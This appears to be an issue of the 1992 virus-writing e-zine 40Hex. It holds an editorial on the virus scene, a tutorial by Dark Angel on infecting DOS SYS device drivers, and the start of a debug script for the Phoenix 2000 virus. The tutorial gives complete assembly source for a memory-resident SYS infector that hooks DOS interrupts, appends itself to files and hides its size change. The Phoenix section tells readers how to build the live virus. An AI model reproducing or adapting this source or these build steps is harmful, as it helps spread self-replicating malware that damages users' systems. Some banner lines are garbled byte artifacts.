4327 lines
186 KiB
Plaintext
4327 lines
186 KiB
Plaintext
![]() |
40Hex Number 9 Volume 2 Issue 5 File 000
|
|||
|
|
|||
|
Welcome to the ninth issue of 40 Hex! This month brings lots of exciting
|
|||
|
and neat-o stuff. The feature article this month is Dark Angel's tutorial on
|
|||
|
SYS infections. As always, we have more virii news and more disassemblies and
|
|||
|
yes, even more debug scripts. A few quick notes:
|
|||
|
|
|||
|
- Join PS/Net! Contact your friendly neighborhood Phalcon/Skism sysop
|
|||
|
for details.
|
|||
|
|
|||
|
- We have been copied extensively by virtually every virus group in
|
|||
|
existence and, with few exceptions, have not been given credit for
|
|||
|
our work. It is getting tedious, to say the least, to reread what
|
|||
|
we have already written. In the future, please don't be quite so
|
|||
|
lame.
|
|||
|
|
|||
|
- Landfill is down again, but a new board, Liquid Euphoria, run by
|
|||
|
our newest member, Hawkmoon, has taken its place. The board is
|
|||
|
stable and will not go down without warning, we promise! Call it,
|
|||
|
love it, hold it as your own. Special thanks to Hawkmoon for
|
|||
|
editing portions of 40Hex.
|
|||
|
|
|||
|
- All are invited to contribute to 40Hex, be it in the form of an
|
|||
|
article, original virus, or whatever. Contact a Phalcon/Skism
|
|||
|
board for details.
|
|||
|
|
|||
|
- Finally, happy new year to all virus and anti-virus people everywhere!
|
|||
|
The new year promises to bring more nify innovations in both virii and
|
|||
|
viral toolkits from Phalcon/Skism. Stay tuned.
|
|||
|
|
|||
|
|
|||
|
40Hex-9 Table of contents
|
|||
|
December 31, 1992
|
|||
|
|
|||
|
File Description
|
|||
|
40Hex-9.000......................You Are Here!
|
|||
|
40Hex-9.001......................40Hex Editorial
|
|||
|
40Hex-9.002......................SYS Virii
|
|||
|
40Hex-9.003......................Phoenix 2000 Debug Dump
|
|||
|
40Hex-9.004......................More antidebugger techniques
|
|||
|
40Hex-9.005......................Virus Spotlite: 4096
|
|||
|
40Hex-9.006......................Nina disassembly
|
|||
|
40Hex-9.007......................A New Virus Naming Convention
|
|||
|
40Hex-9.008......................Code Optimization
|
|||
|
40Hex-9.009......................FirstStrike's Catfish virus
|
|||
|
|
|||
|
|
|||
|
Greets to: All Phalcon/Skism members, FirstStrike, Apache Warrior,
|
|||
|
[NuKE], ex-Senior Engineers of Data Plus, and virus writers
|
|||
|
everywhere!
|
|||
|
|
|||
|
-)Gheap
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 001
|
|||
|
|
|||
|
|
|||
|
40-Hex Editorial:
|
|||
|
VX: What the Hell's happened?
|
|||
|
by DecimatoR
|
|||
|
|
|||
|
Please note, the opinions expressed herein are not necessarily those of all
|
|||
|
the Phalcon/Skism members, and this article was not intentionally directed
|
|||
|
towards one group or individual in particular.
|
|||
|
|
|||
|
|
|||
|
1991: The virus scene was almost nonexistent. A handful of virus
|
|||
|
boards populated the earth, the biggest being the Virus Exchange in
|
|||
|
Bulgaria. In the US, only a very few boards had viruses.. and those which
|
|||
|
did ALL had less than 100. If you had 80 viruses back then, you were God.
|
|||
|
Today, just one year later, if you have less than 800 you're LAME. Viruses
|
|||
|
are everywhere. Unfortunately, almost NONE of them are original. They're
|
|||
|
all hacks of hacks of hacks of hacks, or else all cranked out by MPC or VCL,
|
|||
|
the 2 virus generation programs in mass distribution. No one (save a few)
|
|||
|
writes original code anymore. The recent flood of lame viruses all prove
|
|||
|
that. MPC and VCL account for over half of the "new" viruses released each
|
|||
|
day - and ALL the viruses generated by those programs are scannable before
|
|||
|
they even get compiled. So why do people keep using the programs? Why
|
|||
|
create 30 viruses which all do the same thing, except maybe on a different
|
|||
|
day, or using a different text string? Why? I'll tell you why. Because
|
|||
|
the kids using MPC and VCL are basically talentless programmers who think
|
|||
|
it's cool to stick their name in a program and pass it around. They believe
|
|||
|
they'll achieve god-like fame in the underground by creating these little
|
|||
|
clones and changing a few bytes. Are these people cool? Hardly. It takes
|
|||
|
true talent to create a virus. It takes brains and skill to write a virus
|
|||
|
which will work as planned, avoid detection, and propagate itself. The
|
|||
|
authors of MPC and VCL are very talented programmers. Unfortunately, the
|
|||
|
users of their programs are just the opposite. REAL virus programmers have
|
|||
|
a desire to LEARN assembler - it's a test of their skill and ability. The
|
|||
|
users of MPC and VCL don't have that desire. They only have a desire for
|
|||
|
recognition - and seeing their name in a virus is a massive ego trip for
|
|||
|
them. Why? They did nothing that any Joe Blow couldn't have done using a
|
|||
|
code generator. If they REALLY want to prove how cool they are, let THEM
|
|||
|
write a damn virus generation program and release it. THAT ALONE will show
|
|||
|
the world their skill and ability. As for USING the program, well, I'm more
|
|||
|
impressed with a nicely formatted term paper using WordPerfect than I am
|
|||
|
with viruses created using MPC and VCL. If you're one of the lame idiots
|
|||
|
who uses MPC or VCL for "writing" viruses, then listen up - those programs
|
|||
|
were written for 2 reasons - to prove the programmer could write such a
|
|||
|
thing, and to be used as a LEARNING TOOL for future virus writers - NOT to
|
|||
|
be abused the way they currently are. Stop acting lame and actually CREATE
|
|||
|
an ORIGINAL virus for once, people! And if you find that's impossible, then
|
|||
|
get the hell out of the scene and let the people who CAN program do it!
|
|||
|
|
|||
|
Enough on that end. Now it's time to bitch about the virus boards.
|
|||
|
These so called "elite" boards that have 1,255,443,453.7 viruses online for
|
|||
|
anyone to call up and leech. These places where the little kiddies put
|
|||
|
thier newest MPC and VCL creation for all the other little kiddies, to show
|
|||
|
how /<-RaD they are. And as soon as one virus is put up, 300 people grab
|
|||
|
it, half of them send it off to other VX boards, and half ship it to the
|
|||
|
Anti-Virus boards. What's the purpose? The virus scene has become the same
|
|||
|
as the WAREZ SCENE! Or, as Garbageheap puts it - Micro-Warez.
|
|||
|
|
|||
|
Micro-WareZ: n. Viruses created by talentless individuals and passed
|
|||
|
around the way pirated software is.
|
|||
|
ie: "Hey D00dZ I got the newest MiCroWareZ from that
|
|||
|
BBS in 404!!! Now I'm up to 1,231,902!!!#!$@$~!"
|
|||
|
|
|||
|
Micro-Warez Pups: n. (pl) 1) Those individuals actively engaging in the
|
|||
|
collection, creation, and distribution of Micro-Warez.
|
|||
|
2) People who collect viruses simply because they
|
|||
|
want to have more than anyone else.
|
|||
|
See also: LAMERS
|
|||
|
|
|||
|
What's the point in these MicroWareZ (also known as VX) boards? All the
|
|||
|
virus "authors" (I hate using that term - REAL virus authors don't frequent
|
|||
|
microwarez boards) anyway -all the virus authors send up their newest lame
|
|||
|
little hacks, and in 15 minutes they're on all VX boards everywhere. In 20
|
|||
|
minutes, the AV people are looking at them. In 23 minutes the AV people
|
|||
|
have determined that the new Ware is just a lame little hack, and is already
|
|||
|
scannable by all virus scanners available. In 23.2 minutes, the AV people
|
|||
|
have deleted the virus, and are back drinking coffee and chatting on the
|
|||
|
COMP.VIRUS Usenet echo, saying things like "Just found another lame little
|
|||
|
hack. Nothing to worry about guys, not like this is anything new or
|
|||
|
ingenious or something. My scanner catches it since July of 91."
|
|||
|
|
|||
|
My point here is - WHAT THE HELL IS THE PURPOSE OF THIS? AV people
|
|||
|
no longer have to wait for some unlucky infected soul to send them a copy of
|
|||
|
a new virus. They simply call up the local VX board and download it before
|
|||
|
ANYONE gets infected. Again I ask you - WHAT IS THE @*#$!%& PURPOSE? It's
|
|||
|
not cool, it's not elite, its FUKKING STUPID! Pardon the french. The
|
|||
|
so-called Virus underground is no longer underground. It's as open as
|
|||
|
the ANTI-VIRUS scene is. Anyone can get anything they want, because NO ONE
|
|||
|
cares! Everyone's got them, and anyone who wants them can find them. The
|
|||
|
virus scene is no longer elite. It's lamer then the warez scene is. And
|
|||
|
it's a shame. It once required talent and skill. Now it requires the
|
|||
|
intelligence of a grapefruit... well... not even that much.
|
|||
|
|
|||
|
So the question remains - "Gee DecimatoR, if you're so against all
|
|||
|
this virus stuff, then what the hell are you doing in P/S? Why do you run a
|
|||
|
virus board?"
|
|||
|
|
|||
|
My answer: I have a desire to LEARN, and MY board is private. The
|
|||
|
number was changed, all users deleted, and only those with an interest in
|
|||
|
LEARNING will be allowed on. Yes, I still have all the damn viruses. Cause
|
|||
|
when the Gestapo decides it's time to make the creation, distribution, and
|
|||
|
possession of viruses illegal, I wanna be sure people will be able to find
|
|||
|
them somewhere. I don't cater to microwarez pups, and I'm about as
|
|||
|
interested in the newest VCL creation as I am in the color of your undies.
|
|||
|
|
|||
|
Viruses illegal? Yes, I'm sure they someday will be. Unfortunately.
|
|||
|
Because when the Gestapo makes them illegal, it's taking away the rights of
|
|||
|
ALL Americans to freely create and use programs. And that's the beginning
|
|||
|
of the end of Democracy and American Freedom. Anyway, that's enough bitching
|
|||
|
for one day. If I've pissed you off, good. You're probably one of the
|
|||
|
lamers I was writing about. If I haven't, well... next time then.
|
|||
|
|
|||
|
Till 40-Hex 10.....
|
|||
|
|
|||
|
> Peace <
|
|||
|
|
|||
|
--DecimatoR
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 002
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
An Introduction to Nonoverwriting Viruses
|
|||
|
Part III: SYS Infectors
|
|||
|
By Dark Angel
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
The SYS file is the most overlooked executable file structure in DOS.
|
|||
|
Viruses are quite capable of infecting SYS files, as DOS kindly allows for
|
|||
|
such extensions to this file format.
|
|||
|
|
|||
|
The SYS file is loaded beginning at offset 0 of a particular segment.
|
|||
|
It consists of a header followed by code. SYS files may be chained
|
|||
|
together after a simple modification in the header. This is the key to
|
|||
|
infecting SYS files.
|
|||
|
|
|||
|
There are two types of device drivers; block and character. Block
|
|||
|
devices include floppy, hard, and virtual disks, i.e. any media which can
|
|||
|
store data. Character devices include printers, modems, keyboard, and the
|
|||
|
screen. The virus will generally be a character device, as it reduces
|
|||
|
complexity.
|
|||
|
|
|||
|
The header structure is straightforward:
|
|||
|
|
|||
|
Offset Size Description
|
|||
|
------ ---- -----------
|
|||
|
0h DWORD Pointer to next header
|
|||
|
4h WORD Attribute
|
|||
|
6h WORD Pointer to strategy routine
|
|||
|
8h WORD Pointer to interrupt routine
|
|||
|
0Ah QWORD Name of the device driver
|
|||
|
|
|||
|
The pointer to the next device driver header appears at offset zero in the
|
|||
|
header. This is a far pointer consisting of a segment:offset pair. If the
|
|||
|
current device is the only device appearing in the SYS file, then this
|
|||
|
pointer should be set to FFFF:FFFF. However, if there are two or more
|
|||
|
device drivers contained in the file, then the offset field should be equal
|
|||
|
to the absolute location of the next device in the file. The segment field
|
|||
|
should remain FFFF. For example, if a second device driver occurs at
|
|||
|
offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The
|
|||
|
second (and all other) device driver must contain a new header as well.
|
|||
|
|
|||
|
The next field contains the attribute of the device driver. Bit 15
|
|||
|
determines the nature of the device driver. If bit 15 is set, then the
|
|||
|
device driver header corresponds to a character device; otherwise, the
|
|||
|
device is a block device. You need not concern yourself with any of the
|
|||
|
other bits; they may remain cleared.
|
|||
|
|
|||
|
Before the next two fields may be understood, it is necessary to introduce
|
|||
|
the concept of the request header. The request header contains DOS's
|
|||
|
requests of the device driver. For example, DOS may ask for initialisation
|
|||
|
or a read or even a status check. The information needed by the device
|
|||
|
driver to interpret the request is all contained in the request header. It
|
|||
|
is passed to the strategy routine by DOS as a far pointer in ES:BX. The
|
|||
|
job of the strategy routine is to save the pointer for use by the interrupt
|
|||
|
routine. The interrupt routine is called by DOS immediately after the
|
|||
|
strategy routine. This routine processes the request in the header and
|
|||
|
performs the appropriate actions.
|
|||
|
|
|||
|
The word-length pointers in the SYS header to the strategy and interrupt
|
|||
|
routines are relative to the start of the SYS file. So, if the strategy
|
|||
|
routine resides in absolute offset 32h in the file, then the field
|
|||
|
containing the location of the strategy routine would hold the number 32h.
|
|||
|
|
|||
|
The name field in the SYS header simply holds an 8 byte device name. For
|
|||
|
example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name
|
|||
|
should be justified with space characters (0x20).
|
|||
|
|
|||
|
By using DOS's feature of chaining SYS files, we may easily infect
|
|||
|
this type of file. No bytes need to be saved. There are but two steps.
|
|||
|
The first is to concatenate the virus to the target file. The second is to
|
|||
|
alter the first word of the SYS file to point to the virus header. The
|
|||
|
only trick involved is writing the SYS interrupt routine. The format of
|
|||
|
the request header is:
|
|||
|
|
|||
|
Offset Size Description
|
|||
|
------ ---- -----------
|
|||
|
0h BYTE Length of request header (in bytes)
|
|||
|
1h BYTE Unit code (for block devices)
|
|||
|
2h BYTE Command code
|
|||
|
3h WORD Status
|
|||
|
5h QWORD Reserved by DOS
|
|||
|
0Dh Var. Data for the operation
|
|||
|
|
|||
|
Only one command code is relevant for use in the virus. Upon
|
|||
|
initialisation of the device driver, DOS will send a request header with 0
|
|||
|
in the command code field. This is the initialisation check. The format
|
|||
|
of the variable sized field in the request header in this case is:
|
|||
|
|
|||
|
Offset Size Description
|
|||
|
------ ---- -----------
|
|||
|
0Dh BYTE Number of units (ignored by character devices)
|
|||
|
0Eh DWORD Ending address of resident program code
|
|||
|
12h DWORD Pointer to BPB aray (ignored by character devices)
|
|||
|
16h BYTE Drive number (irrelevant in character devices)
|
|||
|
|
|||
|
The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the
|
|||
|
status word of the operation. The virus fills this in with the appropriate
|
|||
|
value. Generally, the virus should put a value of 100h in the status word
|
|||
|
in the event of a successful request and a 8103h in the status word in the
|
|||
|
event of a failure. The 8103h causes DOS to think that the device driver
|
|||
|
does not understand the request. A value of 8102h should be returned in
|
|||
|
the event of a failed installation. Offset 0Eh will hold the address of
|
|||
|
the end of the virus (include the heap!) in the event of a successful
|
|||
|
installation and CS:0 in the event of a failure.
|
|||
|
|
|||
|
Basically, the strategy routine of the virus should contain a simple
|
|||
|
stub to save the es:bx pointer. The interrupt routine should fail all
|
|||
|
requests other than initialisation. It should perform an installation if
|
|||
|
the virus is not yet installed and fail if it is already in memory
|
|||
|
(remember to set offset 0eh to cs:0).
|
|||
|
|
|||
|
A sample infector with very limited stealth features follows. While it is
|
|||
|
somewhat large, it may be easily coupled with a simple COM/EXE infection
|
|||
|
routine to create a powerful virus. It is a SYS-only, memory resident
|
|||
|
infector.
|
|||
|
|
|||
|
---------------------------------------------------------------------------
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 0 ; SYS files originate at zero
|
|||
|
; SYS infector
|
|||
|
; Written by Dark Angel of Phalcon/Skism
|
|||
|
; for 40Hex
|
|||
|
header:
|
|||
|
|
|||
|
next_header dd -1 ; FFFF:FFFF
|
|||
|
attribute dw 8000h ; character device
|
|||
|
strategy dw offset _strategy
|
|||
|
interrupt dw offset _interrupt
|
|||
|
namevirus db 'SYS INF ' ; simple SYS infector
|
|||
|
|
|||
|
endheader:
|
|||
|
|
|||
|
author db 0,'Simple SYS infector',0Dh,0Ah
|
|||
|
db 'Written by Dark Angel of Phalcon/Skism',0
|
|||
|
|
|||
|
_strategy: ; save es:bx pointer
|
|||
|
push si
|
|||
|
call next_strategy
|
|||
|
next_strategy:
|
|||
|
pop si
|
|||
|
mov cs:[si+offset savebx-offset next_strategy],bx
|
|||
|
mov cs:[si+offset savees-offset next_strategy],es
|
|||
|
pop si
|
|||
|
retf
|
|||
|
|
|||
|
_interrupt: ; install virus in memory
|
|||
|
push ds ; generally, only the segment
|
|||
|
push es ; registers need to be preserved
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
call next_interrupt
|
|||
|
next_interrupt:
|
|||
|
pop bp
|
|||
|
les bx,cs:[bp+savebx-next_interrupt] ; get request header
|
|||
|
pointer
|
|||
|
|
|||
|
mov es:[bx+3],8103h ; default to fail request
|
|||
|
cmp byte ptr es:[bx+2], 0 ; check if it is installation
|
|||
|
request
|
|||
|
jnz exit_interrupt ; exit if it is not
|
|||
|
|
|||
|
mov es:[bx+10h],cs ; fill in ending address value
|
|||
|
lea si,[bp+header-next_interrupt]
|
|||
|
mov es:[bx+0eh],si
|
|||
|
dec byte ptr es:[bx+3] ; and assume installation failure
|
|||
|
|
|||
|
mov ax, 0b0fh ; installation check
|
|||
|
int 21h
|
|||
|
cmp cx, 0b0fh
|
|||
|
jz exit_interrupt ; exit if already installed
|
|||
|
|
|||
|
add es:[bx+0eh],offset endheap ; fixup ending address
|
|||
|
mov es:[bx+3],100h ; and status word
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax ; ds->interrupt table
|
|||
|
les bx,ds:[21h*4] ; get old interrupt handler
|
|||
|
mov word ptr cs:[bp+oldint21-next_interrupt],bx
|
|||
|
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
|
|||
|
|
|||
|
lea si,[bp+int21-next_interrupt]
|
|||
|
cli
|
|||
|
mov ds:[21h*4],si ; replace int 21h handler
|
|||
|
mov ds:[21h*4+2],cs
|
|||
|
sti
|
|||
|
exit_interrupt:
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
retf
|
|||
|
|
|||
|
int21:
|
|||
|
cmp ax,0b0fh ; installation check?
|
|||
|
jnz notinstall
|
|||
|
xchg cx,ax ; mark already installed
|
|||
|
exitint21:
|
|||
|
iret
|
|||
|
notinstall:
|
|||
|
pushf
|
|||
|
db 9ah ; call far ptr This combined with
|
|||
|
the
|
|||
|
oldint21 dd ? ; pushf simulates an int 21h call
|
|||
|
|
|||
|
pushf
|
|||
|
|
|||
|
push bp
|
|||
|
push ax
|
|||
|
|
|||
|
mov bp, sp ; set up new stack frame
|
|||
|
; flags [bp+10]
|
|||
|
; CS:IP [bp+6]
|
|||
|
; flags new [bp+4]
|
|||
|
; bp [bp+2]
|
|||
|
; ax [bp]
|
|||
|
mov ax, [bp+4] ; get flags
|
|||
|
mov [bp+10], ax ; replace old flags with new
|
|||
|
|
|||
|
pop ax ; restore the stack
|
|||
|
pop bp
|
|||
|
popf
|
|||
|
|
|||
|
cmp ah, 11h ; trap FCB find first and
|
|||
|
jz findfirstnext
|
|||
|
cmp ah, 12h ; FCB find next calls only
|
|||
|
jnz exitint21
|
|||
|
findfirstnext:
|
|||
|
cmp al,0ffh ; successful findfirst/next?
|
|||
|
jz exitint21 ; exit if not
|
|||
|
|
|||
|
push bp
|
|||
|
call next_int21
|
|||
|
next_int21:
|
|||
|
pop bp
|
|||
|
sub bp, offset next_int21
|
|||
|
|
|||
|
push ax ; save all registers
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push si
|
|||
|
push di
|
|||
|
|
|||
|
mov ah, 2fh ; ES:BX <- DTA
|
|||
|
int 21h
|
|||
|
|
|||
|
push es ; DS:BX->DTA
|
|||
|
pop ds
|
|||
|
|
|||
|
cmp byte ptr [bx], 0FFh ; extended FCB?
|
|||
|
jnz regularFCB ; continue if not
|
|||
|
add bx, 7 ; otherwise, convert to regular FCB
|
|||
|
regularFCB:
|
|||
|
mov cx, [bx+29] ; get file size
|
|||
|
mov word ptr cs:[bp+filesize], cx
|
|||
|
|
|||
|
push cs ; ES = CS
|
|||
|
pop es
|
|||
|
|
|||
|
cld
|
|||
|
|
|||
|
; The following code converts the FCB to an ASCIIZ string
|
|||
|
lea di, [bp+filename] ; destination buffer
|
|||
|
lea si, [bx+1] ; source buffer - filename
|
|||
|
|
|||
|
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
|
|||
|
jz bombout
|
|||
|
|
|||
|
mov cx, 8 ; copy up to 8 bytes
|
|||
|
back: cmp byte ptr ds:[si], ' ' ; is it a space?
|
|||
|
jz copy_done ; if so, done copying
|
|||
|
movsb ; otherwise, move character to
|
|||
|
buffer
|
|||
|
loop back
|
|||
|
|
|||
|
copy_done:
|
|||
|
mov al, '.' ; copy period
|
|||
|
stosb
|
|||
|
|
|||
|
mov ax, 'YS'
|
|||
|
lea si, [bx+9] ; source buffer - extension
|
|||
|
cmp word ptr [si], ax ; check if it has the SYS
|
|||
|
jnz bombout ; extension and exit if it
|
|||
|
cmp byte ptr [si+2], al ; does not
|
|||
|
jnz bombout
|
|||
|
stosw ; copy 'SYS' to the buffer
|
|||
|
stosb
|
|||
|
|
|||
|
mov al, 0 ; copy null byte
|
|||
|
stosb
|
|||
|
|
|||
|
push ds
|
|||
|
pop es ; es:bx -> DTA
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
xchg di,bx ; es:di -> DTA
|
|||
|
; open file, read/only
|
|||
|
call open ; al already 0
|
|||
|
jc bombout ; exit on error
|
|||
|
|
|||
|
mov ah, 3fh ; read first
|
|||
|
mov cx, 2 ; two bytes of
|
|||
|
lea dx, [bp+buffer] ; the header
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3eh ; close file
|
|||
|
int 21h
|
|||
|
|
|||
|
InfectSYS:
|
|||
|
inc word ptr cs:[bp+buffer] ; if first word not FFFF
|
|||
|
jz continueSYS ; assume already infected
|
|||
|
; this is a safe bet since
|
|||
|
; most SYS files do not have
|
|||
|
; another SYS file chained on
|
|||
|
|
|||
|
alreadyinfected:
|
|||
|
sub es:[di+29], heap - header ; hide file size increase
|
|||
|
; during a DIR command
|
|||
|
; This causes CHKDSK errors
|
|||
|
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
|
|||
|
; are limited to 64K maximum
|
|||
|
|
|||
|
bombout:
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
iret
|
|||
|
|
|||
|
continueSYS:
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
|
|||
|
lea si, [bp+offset header]
|
|||
|
lea di, [bp+offset bigbuffer]
|
|||
|
mov cx, offset endheader - offset header
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov cx, cs:[bp+filesize]
|
|||
|
add cx, offset _strategy - offset header ; calculate offset to
|
|||
|
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
|
|||
|
|
|||
|
add cx, offset _interrupt - offset _strategy;calculate offset to
|
|||
|
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
|
|||
|
|
|||
|
continueinfection:
|
|||
|
mov ax, 4300h ; get file attributes
|
|||
|
lea dx, [bp+filename]
|
|||
|
int 21h
|
|||
|
|
|||
|
push cx ; save attributes on stack
|
|||
|
push dx ; save filename on stack
|
|||
|
|
|||
|
mov ax, 4301h ; clear file attributes
|
|||
|
xor cx, cx
|
|||
|
lea dx,[bp+filename]
|
|||
|
int 21h
|
|||
|
|
|||
|
call openreadwrite
|
|||
|
|
|||
|
mov ax, 5700h ; get file time/date
|
|||
|
int 21h
|
|||
|
push cx ; save them on stack
|
|||
|
push dx
|
|||
|
|
|||
|
mov ah, 40h ; write filesize to the old
|
|||
|
mov cx, 2 ; SYS header
|
|||
|
lea dx, [bp+filesize]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4202h ; go to end of file
|
|||
|
xor cx, cx
|
|||
|
cwd ; xor dx, dx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 40h ; concatenate header
|
|||
|
mov cx, offset endheader - offset header
|
|||
|
lea dx, [bp+bigbuffer]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 40h ; concatenate virus
|
|||
|
mov cx, offset heap - offset endheader
|
|||
|
lea dx, [bp+endheader]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 5701h ; restore file time/date
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3eh ; close file
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4301h ; restore file attributes
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
int 21h
|
|||
|
|
|||
|
jmp bombout
|
|||
|
|
|||
|
openreadwrite:
|
|||
|
mov al, 2 ; open read/write mode
|
|||
|
open: mov ah, 3dh
|
|||
|
lea dx,[bp+filename]
|
|||
|
int 21h
|
|||
|
xchg ax, bx ; put handle in bx
|
|||
|
ret
|
|||
|
|
|||
|
heap:
|
|||
|
savebx dw ?
|
|||
|
savees dw ?
|
|||
|
buffer db 2 dup (?)
|
|||
|
filename db 13 dup (?)
|
|||
|
filesize dw ?
|
|||
|
bigbuffer db offset endheader - offset header dup (?)
|
|||
|
endheap:
|
|||
|
|
|||
|
end header
|
|||
|
---------------------------------------------------------------------------
|
|||
|
|
|||
|
The reason the "delta offset" is needed throughout the file is because
|
|||
|
it is impossible to know the exact location where the SYS file will be
|
|||
|
loaded into memory. This can be ameliorated by some file padding and fancy
|
|||
|
mathematical calculations.
|
|||
|
|
|||
|
The advantages of using SYS files are manyfold. There is no load high
|
|||
|
routine involved apart from the strategy/interrupt routines. This saves
|
|||
|
space. SYS files also generally load before TSR virus checkers. TSR
|
|||
|
checkers also can't detect the residency routine of the virus, since it is
|
|||
|
a normal part of the DOS loading process. The routine for the infection of
|
|||
|
the SYS file is ridiculously easy to implement and takes remarkably little
|
|||
|
space, so there is no reason not to include SYS support in viruses.
|
|||
|
Finally, the memory "loss" reported by CHKDSK usually associated with
|
|||
|
memory resident viruses is not a problem with SYS files.
|
|||
|
|
|||
|
A SYS file infector, when combined with a COM and EXE general
|
|||
|
infector, can lead to a powerful virus. Once the first SYS file is
|
|||
|
infected, the infected system becomes extremely vulnerable to the virus, as
|
|||
|
there is little the user can do to prevent the virus from running, short
|
|||
|
of a clean boot.
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 003
|
|||
|
|
|||
|
|
|||
|
Below is the debug script for the Phoenix 2000 virus. Let's see what Patti
|
|||
|
Hoffman's VSUM has to say about it:
|
|||
|
|
|||
|
Phoenix 2000
|
|||
|
|
|||
|
Virus Name: Phoenix 2000
|
|||
|
Aliases:
|
|||
|
V Status: Rare
|
|||
|
Discovered: December, 1991
|
|||
|
Symptoms: .COM file growth; .EXE files altered; TSR; decrease in total
|
|||
|
system and available free memory
|
|||
|
Origin: Bulgaria
|
|||
|
Eff Length: 2,000 Bytes
|
|||
|
Type Code: PRshAK - Parasitic Resident .COM & .EXE Infector
|
|||
|
Detection Method: ViruScan, AVTK 5.54+, UTScan 22.00+
|
|||
|
Removal Instructions: Delete infected files
|
|||
|
|
|||
|
General Comments:
|
|||
|
The Phoenix 2000 virus was received from The Netherlands in December,
|
|||
|
1991, where it was uploaded to several BBSes by a person identifying
|
|||
|
themself as "Dark Avenger". This virus originated in Bulgaria, and
|
|||
|
is closely related to the earlier V82 virus. Phoenix 2000 is a
|
|||
|
memory resident infector of .COM and .EXE files, as well as
|
|||
|
COMMAND.COM.
|
|||
|
|
|||
|
The first time a program infected with Phoenix 2000 is executed, the
|
|||
|
Phoenix 2000 virus will become memory resident at the top of system
|
|||
|
memory but below the 640K DOS boundary. It will also install a
|
|||
|
small TSR in low system memory of 112 bytes. The virus at the top
|
|||
|
of system memory is 8,192 bytes in size, this is the amount total
|
|||
|
system memory as indicated by the DOS CHKDSK program will decrease
|
|||
|
by. The decrease in available free memory will be slightly more.
|
|||
|
The Phoenix 2000 virus hooks interrupt 2A. Interrupt 12's return
|
|||
|
will not have been moved.
|
|||
|
|
|||
|
Once Phoenix 2000 is memory resident, it will infect .COM and .EXE
|
|||
|
programs, including COMMAND.COM, when they are opened, executed,
|
|||
|
copied, or accessed in any way. While it will always infect .COM
|
|||
|
files, .EXE files are only successfully infected if they contain
|
|||
|
2,000 bytes of binary 00 characters in a continuous block. If the
|
|||
|
2,000 bytes of binary 00 characters do not exist, the file may be
|
|||
|
partially infected, but will not be replicating copy of the virus.
|
|||
|
|
|||
|
.COM programs, other than COMMAND.COM, will have a file length
|
|||
|
increase of 2,000 bytes with the virus being located in the middle
|
|||
|
or end of the infected file. Phoenix 2000 is unable to identify
|
|||
|
previous infections of itself on infected .COM files, so they
|
|||
|
may become reinfected by Phoenix 2000, adding an additional 2,000
|
|||
|
bytes to the file for each reinfection. There will be no change
|
|||
|
to the file's date and time in the DOS disk directory listing.
|
|||
|
|
|||
|
COMMAND.COM and .EXE files will not have a file length increase when
|
|||
|
they are infected with the Phoenix 2000 virus. In these two cases,
|
|||
|
the virus will overwrite 2,000 bytes of binary 00 characters within
|
|||
|
the file with the virus code. For .EXE files with less than 2,000
|
|||
|
bytes of binary 00 characters, the file will be partially infected
|
|||
|
and may not function properly as a result.
|
|||
|
|
|||
|
To create the virus, simply copy the script below to a file called
|
|||
|
"Phoenix.lst" and type:
|
|||
|
debug < phoenix.lst > nul
|
|||
|
Dark Angel
|
|||
|
-------------------------------------------------------------------------------
|
|||
|
n phoenix.com
|
|||
|
e 0100 E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54
|
|||
|
e 0110 1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7
